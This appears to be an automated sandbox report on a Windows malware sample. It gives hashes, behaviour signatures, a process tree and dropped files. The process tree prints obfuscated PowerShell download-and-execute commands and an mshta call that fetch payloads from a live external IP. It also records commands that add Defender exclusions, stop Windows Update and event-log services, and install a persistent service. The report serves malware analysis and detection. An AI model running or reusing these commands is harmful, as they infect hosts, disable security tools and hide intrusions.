Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 19:11

General

  • Target

    file.exe

  • Size

    50KB

  • MD5

    666248c216a3f63828f739839230f9f6

  • SHA1

    13690837235053762a538b4c5b2b601ec9f6bb22

  • SHA256

    00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da

  • SHA512

    37e57468a080dbb33ee480ae63d80939ff06050035f168630ba1d8e220e1b4859f78f897a12ba83a514bc97ed7927ee01c6fcca67fbaf479294a529302f7bdde

  • SSDEEP

    768:CT6n3V7i+V39HhHw98cje6O7UgYWE8knmbN8vnoK:7i+/BHw98cyoWE8ks8vnp

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.178/FF/2.png

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.178/FF/3.png

Extracted

Language
hta
Source
URLs
hta.dropper

http://176.113.115.178/Windows-Update

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.178/FF/1.png

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Loads dropped DLL 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:420
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
      • Sets service image path in registry
      • Loads dropped DLL
      PID:476
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch
        2⤵
          PID:588
          • C:\Windows\system32\DllHost.exe
            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
            3⤵
              PID:1520
            • C:\Windows\system32\wbem\wmiprvse.exe
              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              3⤵
              • Checks processor information in registry
              PID:3056
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k RPCSS
            2⤵
              PID:668
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
              2⤵
              • Modifies security service
              • Indicator Removal: Clear Windows Event Logs
              PID:740
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
              2⤵
                PID:800
                • C:\Windows\system32\Dwm.exe
                  "C:\Windows\system32\Dwm.exe"
                  3⤵
                    PID:1160
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs
                  2⤵
                  • Drops file in Windows directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:828
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService
                  2⤵
                    PID:952
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k NetworkService
                    2⤵
                      PID:236
                    • C:\Windows\System32\spoolsv.exe
                      C:\Windows\System32\spoolsv.exe
                      2⤵
                        PID:1012
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                        2⤵
                          PID:900
                        • C:\Windows\system32\taskhost.exe
                          "taskhost.exe"
                          2⤵
                            PID:1104
                          • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                            "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                            2⤵
                              PID:1228
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:2056
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:1912
                                • C:\ProgramData\Mig\Mig.exe
                                  C:\ProgramData\Mig\Mig.exe
                                  2⤵
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2068
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2544
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                    3⤵
                                      PID:2212
                                      • C:\Windows\system32\wusa.exe
                                        wusa /uninstall /kb:890830 /quiet /norestart
                                        4⤵
                                        • Drops file in Windows directory
                                        PID:2412
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop UsoSvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:2060
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:2496
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop wuauserv
                                      3⤵
                                      • Launches sc.exe
                                      PID:1572
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop bits
                                      3⤵
                                      • Launches sc.exe
                                      PID:1652
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop dosvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:2096
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:908
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2948
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2916
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1444
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2200
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      3⤵
                                        PID:1576
                                      • C:\Windows\system32\dialer.exe
                                        dialer.exe
                                        3⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2136
                                  • C:\Windows\system32\lsass.exe
                                    C:\Windows\system32\lsass.exe
                                    1⤵
                                      PID:484
                                    • C:\Windows\system32\lsm.exe
                                      C:\Windows\system32\lsm.exe
                                      1⤵
                                        PID:492
                                      • C:\Windows\Explorer.EXE
                                        C:\Windows\Explorer.EXE
                                        1⤵
                                          PID:1184
                                          • C:\Users\Admin\AppData\Local\Temp\file.exe
                                            "C:\Users\Admin\AppData\Local\Temp\file.exe"
                                            2⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:1476
                                            • C:\Windows\system32\wscript.exe
                                              "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
                                              3⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:2364
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
                                                4⤵
                                                • Blocklisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of WriteProcessMemory
                                                PID:2724
                                                • C:\Windows\System32\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
                                                  5⤵
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:2584
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
                                                    6⤵
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:2060
                                                    • C:\Windows\system32\mshta.exe
                                                      mshta http://176.113.115.178/Windows-Update
                                                      7⤵
                                                      • Blocklisted process makes network request
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2708
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
                                                        8⤵
                                                        • UAC bypass
                                                        • Blocklisted process makes network request
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Loads dropped DLL
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:2416
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
                                                          9⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1724
                                                        • C:\Users\Admin\AppData\Roaming\LB31.exe
                                                          "C:\Users\Admin\AppData\Roaming\LB31.exe"
                                                          9⤵
                                                          • Checks BIOS information in registry
                                                          • Executes dropped EXE
                                                          • Drops file in System32 directory
                                                          • Suspicious use of SetThreadContext
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:816
                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                            10⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Drops file in System32 directory
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1544
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                            10⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:1088
                                                            • C:\Windows\system32\wusa.exe
                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                              11⤵
                                                              • Drops file in Windows directory
                                                              PID:1632
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:628
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:3028
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:2040
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop bits
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:1932
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop dosvc
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:3004
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                            10⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2304
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                            10⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1500
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                            10⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1236
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                            10⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:308
                                                          • C:\Windows\system32\dialer.exe
                                                            C:\Windows\system32\dialer.exe
                                                            10⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:2444
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe delete "LIB"
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:1600
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:1928
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop eventlog
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:2040
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe start "LIB"
                                                            10⤵
                                                            • Launches sc.exe
                                                            PID:1088
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
                                                4⤵
                                                • Blocklisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of WriteProcessMemory
                                                PID:2748
                                                • C:\Windows\system32\ipconfig.exe
                                                  "C:\Windows\system32\ipconfig.exe" /flushdns
                                                  5⤵
                                                  • Gathers network information
                                                  PID:2876
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "801325826392213766-684801762-1514971320-3167538293504300531048228479-594169369"
                                          1⤵
                                            PID:748
                                          • C:\Windows\system32\conhost.exe
                                            \??\C:\Windows\system32\conhost.exe "-469403973-195241372311397752938903216760427271523894250-1822948152388675340"
                                            1⤵
                                              PID:876
                                            • C:\Windows\system32\conhost.exe
                                              \??\C:\Windows\system32\conhost.exe "-1523105627157793749218311390-1581607404-196312157719098908026944710692050083376"
                                              1⤵
                                                PID:872
                                              • C:\Windows\system32\conhost.exe
                                                \??\C:\Windows\system32\conhost.exe "-1329467824-1414799993172582698947069995-26073194845582170620347478321547740039"
                                                1⤵
                                                  PID:1700
                                                • C:\Windows\system32\conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe "1233678843-12358472911183455941-1089575767-10829828292090969313-865768296-1514755288"
                                                  1⤵
                                                    PID:2832
                                                  • C:\Windows\system32\conhost.exe
                                                    \??\C:\Windows\system32\conhost.exe "-1073836127117207565812143415521077113278-1878961076-183311156-13669789571473316583"
                                                    1⤵
                                                      PID:1792
                                                    • C:\Windows\system32\conhost.exe
                                                      \??\C:\Windows\system32\conhost.exe "-255934328-6843181432057467296-778761170-26448962310547516411389132376-822758601"
                                                      1⤵
                                                        PID:1480
                                                      • C:\Windows\system32\conhost.exe
                                                        \??\C:\Windows\system32\conhost.exe "-14290032001977581502-1167130930804857847-1050591789-1248000509-116033514-1833686141"
                                                        1⤵
                                                          PID:680
                                                        • C:\Windows\system32\conhost.exe
                                                          \??\C:\Windows\system32\conhost.exe "-21178246444043026041035671815-1639937368649279741-1203930188652175147-1808066143"
                                                          1⤵
                                                            PID:2924
                                                          • C:\Windows\system32\conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe "-736384577436726691618780492626376882135870672353787918398958935-1296483512"
                                                            1⤵
                                                              PID:2288

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • C:\Users\Admin\AppData\Local\Temp\tempScript.js

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              82f229d0c36b68073da70ef5958e425d

                                                              SHA1

                                                              2beb8cd227b49b1d119165d6e3d258ddb730387a

                                                              SHA256

                                                              0f2579fdb9cbaaec15015df17dbaafd73a9d7d3202321aba6a1c8479cac17394

                                                              SHA512

                                                              4553f11b61e2c1cb1ebf532e7417380a8a5c19121331b76894bf5d3605a905fa3f62b54d596a818709f28c49fd7eb1d880798907a84cac45ccff65ee93f9e970

                                                            • C:\Users\Admin\AppData\Roaming\CMD.vbs

                                                              Filesize

                                                              27KB

                                                              MD5

                                                              238ec4d17050e1841e8e0171407c2260

                                                              SHA1

                                                              2c8c14b257641f1e1151c6303dabde01621314f2

                                                              SHA256

                                                              163c4066da47b2e8b7d3690a374c79856417de2e09c74c0e7c807cd0b5c4b8fb

                                                              SHA512

                                                              3eaa1ebca8b9ad021342846040faf19c5ef420c319a9a649b31ffb9107b54d71f60f6e4372e0256f123b931f5c3dd11a34ad9c4ccb7d0a3c687a90ba50cd2102

                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                              Filesize

                                                              7KB

                                                              MD5

                                                              7318eaa35e34d1bbf4e064218747b9bc

                                                              SHA1

                                                              062dc8d401554ad1235e277682b5535958d20549

                                                              SHA256

                                                              5fafb8b714d770e479639e34e66b01c2455c348d78f2dde3445bbc0158a5086d

                                                              SHA512

                                                              a5cc2603ccae43a53215ec26032290f22d57df3647e980fec72b00bbe48b9d53b4f7e20d57f1bca114eb5e40a7cd407aaeaf9a3057f1964b5e5c469b85a67d7f

                                                            • \Users\Admin\AppData\Roaming\LB31.exe

                                                              Filesize

                                                              7.3MB

                                                              MD5

                                                              c9e6aa21979d5fc710f1f2e8226d9dfe

                                                              SHA1

                                                              d881f97a1fe03f43bed2a9609eae65531cf710cf

                                                              SHA256

                                                              a1a8cfcc74f8f96fd09115189defe07ac6fc2e85a9ff3b3ec9c6f454aede1c1d

                                                              SHA512

                                                              9e90bcb64b0e1f03e05990cdead076b4c6e0b050932ecb953dae50b7e92b823a80fc66d1fd8753591719e89b405757b2bf7518814bc6a19bb745124d1a691627

                                                            • memory/420-62-0x0000000000B70000-0x0000000000B94000-memory.dmp

                                                              Filesize

                                                              144KB

                                                            • memory/420-64-0x0000000000B70000-0x0000000000B94000-memory.dmp

                                                              Filesize

                                                              144KB

                                                            • memory/420-65-0x0000000000C30000-0x0000000000C5B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/420-66-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/420-67-0x0000000037990000-0x00000000379A0000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/476-333-0x000000013F080000-0x000000013FB7F000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/476-88-0x0000000037990000-0x00000000379A0000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/476-509-0x000000013F080000-0x000000013FB7F000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/476-72-0x0000000000200000-0x000000000022B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/476-87-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/484-91-0x0000000037990000-0x00000000379A0000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/484-76-0x0000000000100000-0x000000000012B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/484-90-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/816-45-0x000000013F100000-0x000000013FBFF000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/816-301-0x000000013F100000-0x000000013FBFF000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/1476-1-0x00000000000D0000-0x00000000000E2000-memory.dmp

                                                              Filesize

                                                              72KB

                                                            • memory/1476-2-0x0000000000360000-0x0000000000366000-memory.dmp

                                                              Filesize

                                                              24KB

                                                            • memory/1476-0-0x000007FEF5E73000-0x000007FEF5E74000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1476-5-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

                                                              Filesize

                                                              9.9MB

                                                            • memory/1476-6-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

                                                              Filesize

                                                              9.9MB

                                                            • memory/2068-398-0x000000013F080000-0x000000013FB7F000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/2068-334-0x000000013F080000-0x000000013FB7F000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/2416-30-0x000000001B820000-0x000000001BB02000-memory.dmp

                                                              Filesize

                                                              2.9MB

                                                            • memory/2416-44-0x000000001CD80000-0x000000001D87F000-memory.dmp

                                                              Filesize

                                                              11.0MB

                                                            • memory/2416-31-0x0000000001E80000-0x0000000001E88000-memory.dmp

                                                              Filesize

                                                              32KB

                                                            • memory/2444-54-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2444-52-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2444-57-0x0000000077950000-0x0000000077AF9000-memory.dmp

                                                              Filesize

                                                              1.7MB

                                                            • memory/2444-59-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2444-53-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2444-56-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2444-58-0x0000000077730000-0x000000007784F000-memory.dmp

                                                              Filesize

                                                              1.1MB

                                                            • memory/2444-51-0x0000000140000000-0x000000014002B000-memory.dmp

                                                              Filesize

                                                              172KB

                                                            • memory/2724-16-0x000000001B730000-0x000000001BA12000-memory.dmp

                                                              Filesize

                                                              2.9MB

                                                            • memory/2724-17-0x0000000002340000-0x0000000002348000-memory.dmp

                                                              Filesize

                                                              32KB

                                                            • memory/2748-22-0x0000000002B10000-0x0000000002B2A000-memory.dmp

                                                              Filesize

                                                              104KB